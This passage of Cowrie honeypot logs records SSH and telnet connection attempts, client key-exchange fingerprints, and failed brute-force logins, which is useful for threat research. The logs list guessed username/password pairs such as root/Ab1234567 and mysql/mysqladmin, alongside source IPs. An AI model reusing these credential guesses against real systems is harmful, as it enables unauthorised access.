d25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:02.086571Z","src_ip":"2.57.121.112","session":"02b005c2260f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1Tigger","message":"login attempt [admin/1Tigger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:02.537174Z","src_ip":"2.57.121.112","session":"02b005c2260f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":47854,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c78774c164d","protocol":"ssh","message":"New connection: 80.94.92.186:47854 (159.203.135.109:22) [session: 4c78774c164d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:03.342462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:03.455020Z","src_ip":"80.94.92.186","session":"4c78774c164d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:03.618155Z","src_ip":"80.94.92.186","session":"4c78774c164d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1Superma","message":"login attempt [admin/1Superma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:03.644009Z","src_ip":"2.57.121.112","session":"02b005c2260f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"latitude","message":"login attempt [solana/latitude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:04.340311Z","src_ip":"80.94.92.186","session":"4c78774c164d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1Samanth","message":"login attempt [admin/1Samanth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:04.751969Z","src_ip":"2.57.121.112","session":"02b005c2260f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:05.493019Z","src_ip":"80.94.92.186","session":"4c78774c164d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44464,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc834c981956","protocol":"ssh","message":"New connection: 159.203.92.129:44464 (159.203.135.109:22) [session: cc834c981956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:05.548267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:05.553091Z","src_ip":"159.203.92.129","session":"cc834c981956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:05.557268Z","src_ip":"159.203.92.129","session":"cc834c981956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Vty","password":"connection","message":"login attempt [Vty/connection] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:05.568991Z","src_ip":"159.203.92.129","session":"cc834c981956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1Robert","message":"login attempt [admin/1Robert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:05.859582Z","src_ip":"2.57.121.112","session":"02b005c2260f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:06.575044Z","src_ip":"159.203.92.129","session":"cc834c981956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qwerty1","message":"login attempt [admin/1qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:06.966988Z","src_ip":"2.57.121.112","session":"02b005c2260f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:08.074580Z","src_ip":"2.57.121.112","session":"02b005c2260f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.538790225982666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:14.117673Z","src_ip":"122.102.44.174","session":"fd5141622664","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.570438385009766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:24.162528Z","src_ip":"122.102.44.174","session":"b8c795ae0968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":39396,"dst_ip":"10.17.0.5","dst_port":23,"session":"c49ac58aba0e","protocol":"telnet","message":"New connection: 122.102.44.174:39396 (10.17.0.5:23) [session: c49ac58aba0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:29.651431Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":1496,"dst_ip":"10.17.0.5","dst_port":22,"session":"969bc945f2f8","protocol":"ssh","message":"New connection: 201.149.53.243:1496 (10.17.0.5:22) [session: 969bc945f2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:31.491403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:31.498929Z","src_ip":"201.149.53.243","session":"969bc945f2f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:31.565966Z","src_ip":"201.149.53.243","session":"969bc945f2f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"1","message":"login attempt [vbox/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:31.867834Z","src_ip":"201.149.53.243","session":"969bc945f2f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:32.938015Z","src_ip":"201.149.53.243","session":"969bc945f2f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":36220,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdf215b13dfd","protocol":"ssh","message":"New connection: 210.183.21.53:36220 (10.17.0.5:22) [session: fdf215b13dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:36.034024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:36.038471Z","src_ip":"210.183.21.53","session":"fdf215b13dfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:36.236232Z","src_ip":"210.183.21.53","session":"fdf215b13dfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab1234567","message":"login attempt [root/Ab1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:37.061693Z","src_ip":"210.183.21.53","session":"fdf215b13dfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:38.262724Z","src_ip":"210.183.21.53","session":"fdf215b13dfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":56328,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa5ab9a7a296","protocol":"ssh","message":"New connection: 196.189.51.7:56328 (10.17.0.5:22) [session: aa5ab9a7a296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:40.205561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:40.210032Z","src_ip":"196.189.51.7","session":"aa5ab9a7a296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:40.378833Z","src_ip":"196.189.51.7","session":"aa5ab9a7a296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysqladmin","message":"login attempt [mysql/mysqladmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:41.083226Z","src_ip":"196.189.51.7","session":"aa5ab9a7a296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:42.254116Z","src_ip":"196.189.51.7","session":"aa5ab9a7a296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00326323509216,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:43.839162Z","src_ip":"45.238.255.197","session":"7ea2998863b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":34820,"dst_ip":"159.203.135.109","dst_port":22,"session":"63d682321d48","protocol":"ssh","message":"New connection: 221.139.88.149:34820 (159.203.135.109:22) [session: 63d682321d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:50.214459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:50.218665Z","src_ip":"221.139.88.149","session":"63d682321d48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:50.459624Z","src_ip":"221.139.88.149","session":"63d682321d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42072,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dc31afc660d","protocol":"ssh","message":"New connection: 159.203.92.129:42072 (159.203.135.109:22) [session: 8dc31afc660d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:50.601730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:50.606896Z","src_ip":"159.203.92.129","session":"8dc31afc660d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:50.614613Z","src_ip":"159.203.92.129","session":"8dc31afc660d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"WL","password":"123","message":"login attempt [WL/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:50.669241Z","src_ip":"159.203.92.129","session":"8dc31afc660d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn123","message":"login attempt [vpn/vpn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:51.346002Z","src_ip":"221.139.88.149","session":"63d682321d48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:51.675095Z","src_ip":"159.203.92.129","session":"8dc31afc660d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:17:52.547877Z","src_ip":"221.139.88.149","session":"63d682321d48","protocol":"ssh"}
